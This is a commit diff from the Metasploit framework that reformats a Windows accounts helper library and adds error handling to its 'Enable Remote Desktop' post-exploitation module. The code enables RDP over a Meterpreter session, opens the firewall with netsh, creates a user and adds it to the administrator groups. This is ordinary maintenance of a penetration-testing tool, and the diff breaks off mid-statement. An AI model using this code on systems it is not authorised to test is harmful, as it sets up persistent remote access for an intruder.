Land #8873, cleanup enable_rdp, add error handling
commit
1e8edb377f
|
@ -3,336 +3,342 @@
|
|||
require 'msf/core/post/windows/error'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Windows
|
||||
class Post
|
||||
module Windows
|
||||
module Accounts
|
||||
include Msf::Post::Windows::Error
|
||||
|
||||
module Accounts
|
||||
include Msf::Post::Windows::Error
|
||||
GUID = [
|
||||
['Data1', :DWORD],
|
||||
['Data2', :WORD],
|
||||
['Data3', :WORD],
|
||||
['Data4', 'BYTE[8]']
|
||||
].freeze
|
||||
|
||||
GUID = [
|
||||
['Data1',:DWORD],
|
||||
['Data2',:WORD],
|
||||
['Data3',:WORD],
|
||||
['Data4','BYTE[8]']
|
||||
]
|
||||
DOMAIN_CONTROLLER_INFO = [
|
||||
['DomainControllerName', :LPSTR],
|
||||
['DomainControllerAddress', :LPSTR],
|
||||
['DomainControllerAddressType', :ULONG],
|
||||
['DomainGuid', GUID],
|
||||
['DomainName', :LPSTR],
|
||||
['DnsForestName', :LPSTR],
|
||||
['Flags', :ULONG],
|
||||
['DcSiteName', :LPSTR],
|
||||
['ClientSiteName', :LPSTR]
|
||||
].freeze
|
||||
|
||||
DOMAIN_CONTROLLER_INFO = [
|
||||
['DomainControllerName',:LPSTR],
|
||||
['DomainControllerAddress',:LPSTR],
|
||||
['DomainControllerAddressType',:ULONG],
|
||||
['DomainGuid',GUID],
|
||||
['DomainName',:LPSTR],
|
||||
['DnsForestName',:LPSTR],
|
||||
['Flags',:ULONG],
|
||||
['DcSiteName',:LPSTR],
|
||||
['ClientSiteName',:LPSTR]
|
||||
]
|
||||
##
|
||||
# get_domain(server_name = nil)
|
||||
#
|
||||
# Summary:
|
||||
# Retrieves the current DomainName the given server is
|
||||
# a member of.
|
||||
#
|
||||
# Parameters
|
||||
# server_name - DNS or NetBIOS name of the remote server
|
||||
# Returns:
|
||||
# The DomainName of the remote server or nil if windows
|
||||
# could not retrieve the DomainControllerInfo or encountered
|
||||
# an exception.
|
||||
#
|
||||
##
|
||||
def get_domain(server_name = nil)
|
||||
domain = nil
|
||||
result = session.railgun.netapi32.DsGetDcNameA(
|
||||
server_name,
|
||||
nil,
|
||||
nil,
|
||||
nil,
|
||||
0,
|
||||
4
|
||||
)
|
||||
|
||||
##
|
||||
# get_domain(server_name=nil)
|
||||
#
|
||||
# Summary:
|
||||
# Retrieves the current DomainName the given server is
|
||||
# a member of.
|
||||
#
|
||||
# Parameters
|
||||
# server_name - DNS or NetBIOS name of the remote server
|
||||
# Returns:
|
||||
# The DomainName of the remote server or nil if windows
|
||||
# could not retrieve the DomainControllerInfo or encountered
|
||||
# an exception.
|
||||
#
|
||||
##
|
||||
def get_domain(server_name=nil)
|
||||
domain = nil
|
||||
result = session.railgun.netapi32.DsGetDcNameA(
|
||||
server_name,
|
||||
nil,
|
||||
nil,
|
||||
nil,
|
||||
0,
|
||||
4)
|
||||
begin
|
||||
dc_info_addr = result['DomainControllerInfo']
|
||||
unless dc_info_addr == 0
|
||||
dc_info = session.railgun.util.read_data(DOMAIN_CONTROLLER_INFO, dc_info_addr)
|
||||
pointer = session.railgun.util.unpack_pointer(dc_info['DomainName'])
|
||||
domain = session.railgun.util.read_string(pointer)
|
||||
end
|
||||
ensure
|
||||
session.railgun.netapi32.NetApiBufferFree(dc_info_addr)
|
||||
end
|
||||
|
||||
begin
|
||||
dc_info_addr = result['DomainControllerInfo']
|
||||
unless dc_info_addr == 0
|
||||
dc_info = session.railgun.util.read_data(DOMAIN_CONTROLLER_INFO, dc_info_addr)
|
||||
pointer = session.railgun.util.unpack_pointer(dc_info['DomainName'])
|
||||
domain = session.railgun.util.read_string(pointer)
|
||||
end
|
||||
ensure
|
||||
session.railgun.netapi32.NetApiBufferFree(dc_info_addr)
|
||||
end
|
||||
domain
|
||||
end
|
||||
|
||||
domain
|
||||
end
|
||||
##
|
||||
# delete_user(username, server_name = nil)
|
||||
#
|
||||
# Summary:
|
||||
# Deletes a user account from the given server (or local if none given)
|
||||
#
|
||||
# Parameters
|
||||
# username - The username of the user to delete (not-qualified, e.g. BOB)
|
||||
# server_name - DNS or NetBIOS name of remote server on which to delete user
|
||||
#
|
||||
# Returns:
|
||||
# One of the following:
|
||||
# :success - Everything went as planned
|
||||
# :invalid_server - The server name provided was invalid
|
||||
# :not_on_primary - Operation allowed only on domain controller
|
||||
# :user_not_found - User specified does not exist on the given server
|
||||
# :access_denied - You do not have permission to delete the given user
|
||||
#
|
||||
# OR nil if there was an exceptional Windows error (example: ran out of memory)
|
||||
#
|
||||
# Caveats:
|
||||
# nil is returned if there is an *exceptional* Windows error. That error is printed.
|
||||
# Everything other than ':success' signifies failure
|
||||
##
|
||||
def delete_user(username, server_name = nil)
|
||||
deletion = client.railgun.netapi32.NetUserDel(server_name, username)
|
||||
|
||||
##
|
||||
# delete_user(username, server_name = nil)
|
||||
#
|
||||
# Summary:
|
||||
# Deletes a user account from the given server (or local if none given)
|
||||
#
|
||||
# Parameters
|
||||
# username - The username of the user to delete (not-qualified, e.g. BOB)
|
||||
# server_name - DNS or NetBIOS name of remote server on which to delete user
|
||||
#
|
||||
# Returns:
|
||||
# One of the following:
|
||||
# :success - Everything went as planned
|
||||
# :invalid_server - The server name provided was invalid
|
||||
# :not_on_primary - Operation allowed only on domain controller
|
||||
# :user_not_found - User specified does not exist on the given server
|
||||
# :access_denied - You do not have permission to delete the given user
|
||||
#
|
||||
# OR nil if there was an exceptional windows error (example: ran out of memory)
|
||||
#
|
||||
# Caveats:
|
||||
# nil is returned if there is an *exceptional* windows error. That error is printed.
|
||||
# Everything other than ':success' signifies failure
|
||||
##
|
||||
def delete_user(username, server_name = nil)
|
||||
deletion = client.railgun.netapi32.NetUserDel(server_name, username)
|
||||
# http://msdn.microsoft.com/en-us/library/aa370674.aspx
|
||||
case deletion['return']
|
||||
when 2221 # NERR_UserNotFound
|
||||
return :user_not_found
|
||||
when 2351 # NERR_InvalidComputer
|
||||
return :invalid_server
|
||||
when 2226 # NERR_NotPrimary
|
||||
return :not_on_primary
|
||||
when client.railgun.const('ERROR_ACCESS_DENIED')
|
||||
return :access_denied
|
||||
when 0
|
||||
return :success
|
||||
else
|
||||
error = deletion['GetLastError']
|
||||
if error != 0
|
||||
print_error "Unexpected Windows System Error #{error}"
|
||||
else
|
||||
# Uh... we shouldn't be here
|
||||
print_error "DeleteUser unexpectedly returned #{deletion['return']}"
|
||||
end
|
||||
end
|
||||
|
||||
#http://msdn.microsoft.com/en-us/library/aa370674.aspx
|
||||
case deletion['return']
|
||||
when 2221 # NERR_UserNotFound
|
||||
return :user_not_found
|
||||
when 2351 # NERR_InvalidComputer
|
||||
return :invalid_server
|
||||
when 2226 # NERR_NotPrimary
|
||||
return :not_on_primary
|
||||
when client.railgun.const('ERROR_ACCESS_DENIED')
|
||||
return :access_denied
|
||||
when 0
|
||||
return :success
|
||||
else
|
||||
error = deletion['GetLastError']
|
||||
if error != 0
|
||||
print_error "Unexpected Windows System Error #{error}"
|
||||
else
|
||||
# Uh... we shouldn't be here
|
||||
print_error "DeleteUser unexpectedly returned #{deletion['return']}"
|
||||
end
|
||||
end
|
||||
# If we got here, then something above failed
|
||||
nil
|
||||
end
|
||||
|
||||
# If we got here, then something above failed
|
||||
return nil
|
||||
end
|
||||
##
|
||||
# resolve_sid(sid, system_name = nil)
|
||||
#
|
||||
# Summary:
|
||||
# Retrieves the name, domain, and type of account for the given sid
|
||||
#
|
||||
# Parameters:
|
||||
# sid - A SID string (e.g. S-1-5-32-544)
|
||||
# system_name - Where to search. If nil, first local system then trusted DCs
|
||||
#
|
||||
# Returns:
|
||||
# {
|
||||
# name: account name (e.g. "SYSTEM")
|
||||
# domain: domain where the account name was found. May have values such as
|
||||
# the work station's name, BUILTIN, NT AUTHORITY, or an empty string
|
||||
# type: one of :user, :group, :domain, :alias, :well_known_group,
|
||||
# :deleted_account, :invalid, :unknown, :computer
|
||||
# mapped: There was a mapping found for the SID
|
||||
# }
|
||||
#
|
||||
# OR nil if there was an exceptional Windows error (example: ran out of memory)
|
||||
#
|
||||
# Caveats:
|
||||
# If a valid mapping is not found, only { mapped: false } will be returned
|
||||
# nil is returned if there is an *exceptional* Windows error. That error is printed.
|
||||
# If an invalid system_name is provided, there will be a Windows error and nil returned
|
||||
##
|
||||
def resolve_sid(sid, system_name = nil)
|
||||
adv = client.railgun.advapi32
|
||||
|
||||
# Second param is the size of the buffer where the pointer will be written
|
||||
# In railgun, if you specify 4 bytes for a PDWORD it will grow to 8, as needed.
|
||||
conversion = adv.ConvertStringSidToSidA(sid, 4)
|
||||
|
||||
##
|
||||
# resolve_sid(sid, system_name = nil)
|
||||
#
|
||||
# Summary:
|
||||
# Retrieves the name, domain, and type of account for the given sid
|
||||
#
|
||||
# Parameters:
|
||||
# sid - A SID string (e.g. S-1-5-32-544)
|
||||
# system_name - Where to search. If nil, first local system then trusted DCs
|
||||
#
|
||||
# Returns:
|
||||
# {
|
||||
# :name => account name (e.g. "SYSTEM")
|
||||
# :domain => domain where the account name was found. May have values such as
|
||||
# the work station's name, BUILTIN, NT AUTHORITY, or an empty string
|
||||
# :type => one of :user, :group, :domain, :alias, :well_known_group,
|
||||
# :deleted_account, :invalid, :unknown, :computer
|
||||
# :mapped => There was a mapping found for the SID
|
||||
# }
|
||||
#
|
||||
# OR nil if there was an exceptional windows error (example: ran out of memory)
|
||||
#
|
||||
# Caveats:
|
||||
# If a valid mapping is not found, only { :mapped => false } will be returned
|
||||
# nil is returned if there is an *exceptional* windows error. That error is printed.
|
||||
# If an invalid system_name is provided, there will be a windows error and nil returned
|
||||
##
|
||||
def resolve_sid(sid, system_name = nil)
|
||||
adv = client.railgun.advapi32;
|
||||
# If the call failed, handle errors accordingly.
|
||||
unless conversion['return']
|
||||
error = conversion['GetLastError']
|
||||
|
||||
# Second param is the size of the buffer where the pointer will be written
|
||||
# In railgun, if you specify 4 bytes for a PDWORD it will grow to 8, as needed.
|
||||
conversion = adv.ConvertStringSidToSidA(sid, 4)
|
||||
case error
|
||||
when client.railgun.const('ERROR_INVALID_SID')
|
||||
# An invalid SID was supplied
|
||||
return { type: :invalid, mapped: false }
|
||||
when client.railgun.const('ERROR_NONE_MAPPED')
|
||||
# There were no accounts associated with this SID
|
||||
return { mapped: false }
|
||||
else
|
||||
print_error "Unexpected Windows error #{error} resolving SID #{sid}"
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# If the call failed, handle errors accordingly.
|
||||
unless conversion['return']
|
||||
error = conversion['GetLastError']
|
||||
psid = conversion['pSid']
|
||||
|
||||
case error
|
||||
when client.railgun.const('ERROR_INVALID_SID')
|
||||
# An invalid SID was supplied
|
||||
return { :type => :invalid, :mapped => false }
|
||||
else
|
||||
print_error "Unexpected windows error #{error}"
|
||||
return nil
|
||||
end
|
||||
end
|
||||
# Begin/Ensure so we free the pSid buffer...
|
||||
begin
|
||||
# A reference to the SID data structure. Generally needed when working with sids
|
||||
|
||||
psid = conversion['pSid']
|
||||
# http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx
|
||||
lp_name = lp_referenced_domain_name = 100
|
||||
cch_name = cch_referenced_domain_name = 100
|
||||
lookup = adv.LookupAccountSidA(
|
||||
system_name,
|
||||
psid,
|
||||
lp_name,
|
||||
cch_name,
|
||||
lp_referenced_domain_name,
|
||||
cch_referenced_domain_name,
|
||||
1
|
||||
)
|
||||
|
||||
# Begin/Ensure so we free the pSid buffer...
|
||||
begin
|
||||
# A reference to the SID data structure. Generally needed when working with sids
|
||||
if !lookup['return'] && lookup['GetLastError'] == INSUFFICIENT_BUFFER
|
||||
lp_name = cch_name = lookup['cchName']
|
||||
lp_referenced_domain_name = cch_referenced_domain_name = lookup['cchReferencedDomainName']
|
||||
|
||||
# http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx
|
||||
lp_name = lp_referenced_domain_name = 100
|
||||
cch_name = cch_referenced_domain_name = 100
|
||||
lookup = adv.LookupAccountSidA(system_name,
|
||||
psid,
|
||||
lp_name,
|
||||
cch_name,
|
||||
lp_referenced_domain_name,
|
||||
cch_referenced_domain_name,
|
||||
1)
|
||||
lookup = adv.LookupAccountSidA(
|
||||
system_name,
|
||||
psid,
|
||||
lp_name,
|
||||
cch_name,
|
||||
lp_referenced_domain_name,
|
||||
cch_referenced_domain_name,
|
||||
1
|
||||
)
|
||||
|
||||
if !lookup['return'] && lookup['GetLastError'] == INSUFFICIENT_BUFFER
|
||||
lp_name = cch_name = lookup['cchName']
|
||||
lp_referenced_domain_name = cch_referenced_domain_name = lookup['cchReferencedDomainName']
|
||||
elsif !lookup['return']
|
||||
print_error "Unexpected Windows error #{lookup['GetLastError']}"
|
||||
return nil
|
||||
end
|
||||
ensure
|
||||
# We no longer need the sid so free it.
|
||||
adv.FreeSid(psid)
|
||||
end
|
||||
|
||||
lookup = adv.LookupAccountSidA(system_name,
|
||||
psid,
|
||||
lp_name,
|
||||
cch_name,
|
||||
lp_referenced_domain_name,
|
||||
cch_referenced_domain_name,
|
||||
1)
|
||||
elsif !lookup['return']
|
||||
print_error "Unexpected windows error #{lookup['GetLastError']}"
|
||||
return nil
|
||||
end
|
||||
ensure
|
||||
# We no longer need the sid so free it.
|
||||
adv.FreeSid(psid)
|
||||
end
|
||||
# If the call failed, handle errors accordingly.
|
||||
unless lookup['return']
|
||||
error = lookup['GetLastError']
|
||||
|
||||
# If the call failed, handle errors accordingly.
|
||||
unless lookup['return']
|
||||
error = lookup['GetLastError']
|
||||
case error
|
||||
when client.railgun.const('ERROR_INVALID_PARAMETER')
|
||||
# Unless the railgun call is broken, this means revision is wrong
|
||||
return { type: :invalid }
|
||||
when client.railgun.const('ERROR_NONE_MAPPED')
|
||||
# There were no accounts associated with this SID
|
||||
return { mapped: false }
|
||||
else
|
||||
print_error "Unexpected Windows error #{error} resolving SID #{sid}"
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
case error
|
||||
when client.railgun.const('ERROR_INVALID_PARAMETER')
|
||||
# Unless the railgun call is broken, this means revision is wrong
|
||||
return { :type => :invalid }
|
||||
when client.railgun.const('ERROR_NONE_MAPPED')
|
||||
# There were no accounts associated with this SID
|
||||
return { :mapped => false }
|
||||
else
|
||||
print_error "Unexpected windows error #{error}"
|
||||
return nil
|
||||
end
|
||||
end
|
||||
# peUse is the enum "SID_NAME_USE"
|
||||
sid_type = lookup_SID_NAME_USE(lookup['peUse'].unpack('C')[0])
|
||||
|
||||
# peUse is the enum "SID_NAME_USE"
|
||||
sid_type = lookup_SID_NAME_USE(lookup['peUse'].unpack('C')[0])
|
||||
return {
|
||||
name: lookup['Name'],
|
||||
domain: lookup['ReferencedDomainName'],
|
||||
type: sid_type,
|
||||
mapped: true
|
||||
}
|
||||
end
|
||||
|
||||
return {
|
||||
:name => lookup['Name'],
|
||||
:domain => lookup['ReferencedDomainName'],
|
||||
:type => sid_type,
|
||||
:mapped => true
|
||||
}
|
||||
end
|
||||
private
|
||||
|
||||
private
|
||||
##
|
||||
# Converts a WinAPI's SID_NAME_USE enum to a symbol
|
||||
# Symbols are (in order) :user, :group, :domain, :alias, :well_known_group,
|
||||
# :deleted_account, :invalid, :unknown, :computer
|
||||
##
|
||||
def lookup_SID_NAME_USE(enum_value)
|
||||
[
|
||||
# SidTypeUser = 1
|
||||
:user,
|
||||
# SidTypeGroup,
|
||||
:group,
|
||||
# SidTypeDomain,
|
||||
:domain,
|
||||
# SidTypeAlias,
|
||||
:alias,
|
||||
# SidTypeWellKnownGroup,
|
||||
:well_known_group,
|
||||
# SidTypeDeletedAccount,
|
||||
:deleted_account,
|
||||
# SidTypeInvalid,
|
||||
:invalid,
|
||||
# SidTypeUnknown,
|
||||
:unknown,
|
||||
# SidTypeComputer,
|
||||
:computer,
|
||||
# SidTypeLabel
|
||||
:integrity_label
|
||||
][enum_value - 1]
|
||||
end
|
||||
|
||||
##
|
||||
# Converts a WinAPI's SID_NAME_USE enum to a symbol
|
||||
# Symbols are (in order) :user, :group, :domain, :alias, :well_known_group,
|
||||
# :deleted_account, :invalid, :unknown, :computer
|
||||
##
|
||||
def lookup_SID_NAME_USE(enum_value)
|
||||
[
|
||||
# SidTypeUser = 1
|
||||
:user,
|
||||
# SidTypeGroup,
|
||||
:group,
|
||||
#SidTypeDomain,
|
||||
:domain,
|
||||
#SidTypeAlias,
|
||||
:alias,
|
||||
#SidTypeWellKnownGroup,
|
||||
:well_known_group,
|
||||
#SidTypeDeletedAccount,
|
||||
:deleted_account,
|
||||
#SidTypeInvalid,
|
||||
:invalid,
|
||||
#SidTypeUnknown,
|
||||
:unknown,
|
||||
#SidTypeComputer,
|
||||
:computer,
|
||||
#SidTypeLabel
|
||||
:integrity_label
|
||||
][enum_value - 1]
|
||||
end
|
||||
# Gets an impersonation token from the primary token.
|
||||
#
|
||||
# @return [Integer] the impersonate token handle identifier if success, nil if
|
||||
# fails
|
||||
def get_imperstoken
|
||||
adv = session.railgun.advapi32
|
||||
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
|
||||
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
|
||||
tok_all << " | TOKEN_ADJUST_DEFAULT"
|
||||
|
||||
# Gets an impersonation token from the primary token.
|
||||
#
|
||||
# @return [Integer] the impersonate token handle identifier if success, nil if
|
||||
# fails
|
||||
def get_imperstoken
|
||||
adv = session.railgun.advapi32
|
||||
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
|
||||
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
|
||||
tok_all << " | TOKEN_ADJUST_DEFAULT"
|
||||
pid = session.sys.process.open.pid
|
||||
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) # get handle to primary token
|
||||
it = adv.DuplicateToken(pt["TokenHandle"], 2, 4) # get an impersonation token
|
||||
if it["return"] # if it fails return 0 for error handling
|
||||
return it["DuplicateTokenHandle"]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
pid = session.sys.process.open.pid
|
||||
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
|
||||
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
|
||||
if it["return"] #if it fails return 0 for error handling
|
||||
return it["DuplicateTokenHandle"]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
# Gets the permissions granted from the Security Descriptor of a directory
|
||||
# to an access token.
|
||||
#
|
||||
# @param [String] dir the directory path
|
||||
# @param [Integer] token the access token
|
||||
# @return [String, nil] a String describing the permissions or nil
|
||||
def check_dir_perms(dir, token)
|
||||
adv = session.railgun.advapi32
|
||||
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
|
||||
result = ""
|
||||
|
||||
# Gets the permissions granted from the Security Descriptor of a directory
|
||||
# to an access token.
|
||||
#
|
||||
# @param [String] dir the directory path
|
||||
# @param [Integer] token the access token
|
||||
# @return [String, nil] a String describing the permissions or nil
|
||||
def check_dir_perms(dir, token)
|
||||
adv = session.railgun.advapi32
|
||||
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
|
||||
result = ""
|
||||
# define generic mapping structure
|
||||
gen_map = [0, 0, 0, 0]
|
||||
gen_map = gen_map.pack("V")
|
||||
buffer_size = 500
|
||||
|
||||
#define generic mapping structure
|
||||
gen_map = [0,0,0,0]
|
||||
gen_map = gen_map.pack("V")
|
||||
buffer_size = 500
|
||||
# get Security Descriptor for the directory
|
||||
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
|
||||
if f['return'] && f["lpnLengthNeeded"] <= buffer_size
|
||||
sd = f["pSecurityDescriptor"]
|
||||
elsif f['GetLastError'] == 122 # ERROR_INSUFFICIENT_BUFFER
|
||||
sd = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
|
||||
elsif f['GetLastError'] == 2
|
||||
vprint_error("The system cannot find the file specified: #{dir}")
|
||||
return nil
|
||||
else
|
||||
vprint_error("#{f['ErrorMessage']}: #{dir}")
|
||||
return nil
|
||||
end
|
||||
|
||||
#get Security Descriptor for the directory
|
||||
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
|
||||
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
|
||||
sd = f["pSecurityDescriptor"]
|
||||
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
|
||||
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
|
||||
elsif (f['GetLastError'] == 2)
|
||||
vprint_error("The system cannot find the file specified: #{dir}")
|
||||
return nil
|
||||
else
|
||||
vprint_error("#{f['ErrorMessage']}: #{dir}")
|
||||
return nil
|
||||
end
|
||||
# check for write access, called once to get buffer size
|
||||
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
|
||||
len = a["PrivilegeSetLength"]
|
||||
|
||||
#check for write access, called once to get buffer size
|
||||
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
|
||||
len = a["PrivilegeSetLength"]
|
||||
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
|
||||
return nil if !r["return"]
|
||||
result << "R" if r["GrantedAccess"] > 0
|
||||
|
||||
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
|
||||
if !r["return"] then return nil end
|
||||
if r["GrantedAccess"] > 0 then result << "R" end
|
||||
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
||||
return nil if !w["return"]
|
||||
result << "W" if w["GrantedAccess"] > 0
|
||||
|
||||
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
||||
if !w["return"] then return nil end
|
||||
if w["GrantedAccess"] > 0 then result << "W" end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
end # Accounts
|
||||
end # Windows
|
||||
end # Post
|
||||
result
|
||||
end
|
||||
end # Accounts
|
||||
end # Windows
|
||||
end # Post
|
||||
end # Msf
|
||||
|
|
|
@ -10,33 +10,43 @@ class MetasploitModule < Msf::Post
|
|||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::File
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Manage Enable Remote Desktop',
|
||||
'Description' => %q{
|
||||
This module enables the Remote Desktop Service (RDP). It provides the options to create
|
||||
an account and configure it to be a member of the Local Administrators and
|
||||
Remote Desktop Users group. It can also forward the target's port 3389/tcp.},
|
||||
'License' => BSD_LICENSE,
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Windows Manage Enable Remote Desktop',
|
||||
'Description' => %q{
|
||||
This module enables the Remote Desktop Service (RDP). It provides the options to create
|
||||
an account and configure it to be a member of the Local Administrators and
|
||||
Remote Desktop Users group. It can also forward the target's port 3389/tcp.},
|
||||
'License' => BSD_LICENSE,
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [ false, 'The username of the user to create.' ]),
|
||||
OptString.new('PASSWORD', [ false, 'Password for the user created.' ]),
|
||||
OptBool.new( 'ENABLE', [ false, 'Enable the RDP Service and Firewall Exception.', true]),
|
||||
OptBool.new( 'FORWARD', [ false, 'Forward remote port 3389 to local Port.', false]),
|
||||
OptInt.new( 'LPORT', [ false, 'Local port to forward remote connection.', 3389])
|
||||
])
|
||||
OptBool.new('ENABLE', [ false, 'Enable the RDP Service and Firewall Exception.', true]),
|
||||
OptBool.new('FORWARD', [ false, 'Forward remote port 3389 to local Port.', false]),
|
||||
OptInt.new('LPORT', [ false, 'Local port to forward remote connection.', 3389])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
if datastore['ENABLE'] or (datastore['USERNAME'] and datastore['PASSWORD'])
|
||||
cleanup_rc = store_loot("host.windows.cleanup.enable_rdp", "text/plain", session,"" ,
|
||||
"enable_rdp_cleanup.rc", "enable_rdp cleanup resource file")
|
||||
if datastore['ENABLE'] || (datastore['USERNAME'] && datastore['PASSWORD'])
|
||||
cleanup_rc = store_loot(
|
||||
"host.windows.cleanup.enable_rdp",
|
||||
"text/plain",
|
||||
session,
|
||||
"",
|
||||
"enable_rdp_cleanup.rc",
|
||||
"enable_rdp cleanup resource file"
|
||||
)
|
||||
|
||||
if datastore['ENABLE']
|
||||
if is_admin?
|
||||
|
@ -46,9 +56,9 @@ class MetasploitModule < Msf::Post
|
|||
print_error("Insufficient privileges, Remote Desktop Service was not modified")
|
||||
end
|
||||
end
|
||||
if datastore['USERNAME'] and datastore['PASSWORD']
|
||||
if datastore['USERNAME'] && datastore['PASSWORD']
|
||||
if is_admin?
|
||||
addrdpusr(datastore['USERNAME'], datastore['PASSWORD'],cleanup_rc)
|
||||
addrdpusr(datastore['USERNAME'], datastore['PASSWORD'], cleanup_rc)
|
||||
else
|
||||
print_error("Insufficient privileges, account was not be created.")
|
||||
end
|
||||
|
@ -65,21 +75,20 @@ class MetasploitModule < Msf::Post
|
|||
key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server'
|
||||
value = "fDenyTSConnections"
|
||||
begin
|
||||
v = registry_getvaldata(key,value)
|
||||
v = registry_getvaldata(key, value)
|
||||
print_status "Enabling Remote Desktop"
|
||||
if v == 1
|
||||
print_status "\tRDP is disabled; enabling it ..."
|
||||
registry_setvaldata(key,value,0,"REG_DWORD")
|
||||
file_local_write(cleanup_rc,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
|
||||
registry_setvaldata(key, value, 0, "REG_DWORD")
|
||||
file_local_write(cleanup_rc, "reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
|
||||
else
|
||||
print_status "\tRDP is already enabled"
|
||||
end
|
||||
rescue::Exception => e
|
||||
rescue StandardError => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def enabletssrv(cleanup_rc)
|
||||
service_name = "termservice"
|
||||
srv_info = service_info(service_name)
|
||||
|
@ -87,32 +96,27 @@ class MetasploitModule < Msf::Post
|
|||
print_status "Setting Terminal Services service startup mode"
|
||||
if srv_info[:starttype] != START_TYPE_AUTO
|
||||
print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
|
||||
unless (service_change_config(service_name, {:starttype => "START_TYPE_AUTO"}) == Windows::Error::SUCCESS)
|
||||
unless service_change_config(service_name, starttype: "START_TYPE_AUTO") == Windows::Error::SUCCESS
|
||||
print_error("\tUnable to change start type to Auto")
|
||||
end
|
||||
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
|
||||
if (service_start(service_name) == Windows::Error::SUCCESS)
|
||||
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
|
||||
if service_start(service_name) == Windows::Error::SUCCESS
|
||||
print_good("\tRDP Service Started")
|
||||
end
|
||||
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc stop termservice\"")
|
||||
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c sc stop termservice\"")
|
||||
else
|
||||
print_status "\tTerminal Services service is already set to auto"
|
||||
end
|
||||
#Enabling Exception on the Firewall
|
||||
# Enabling Exception on the Firewall
|
||||
print_status "\tOpening port in local firewall if necessary"
|
||||
cmd_exec('netsh', 'firewall set service type = remotedesktop mode = enable', 30)
|
||||
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
|
||||
rescue::Exception => e
|
||||
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
|
||||
rescue StandardError => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def addrdpusr(username, password,cleanup_rc)
|
||||
rdu = resolve_sid("S-1-5-32-555")[:name]
|
||||
admin = resolve_sid("S-1-5-32-544")[:name]
|
||||
|
||||
def addrdpusr(username, password, cleanup_rc)
|
||||
print_status "Setting user account for logon"
|
||||
print_status "\tAdding User: #{username} with Password: #{password}"
|
||||
begin
|
||||
|
@ -121,6 +125,19 @@ class MetasploitModule < Msf::Post
|
|||
return
|
||||
end
|
||||
|
||||
rdu_sid = resolve_sid("S-1-5-32-555")
|
||||
admin_sid = resolve_sid("S-1-5-32-544")
|
||||
|
||||
if !rdu_sid[:mapped] || !admin_sid[:mapped]
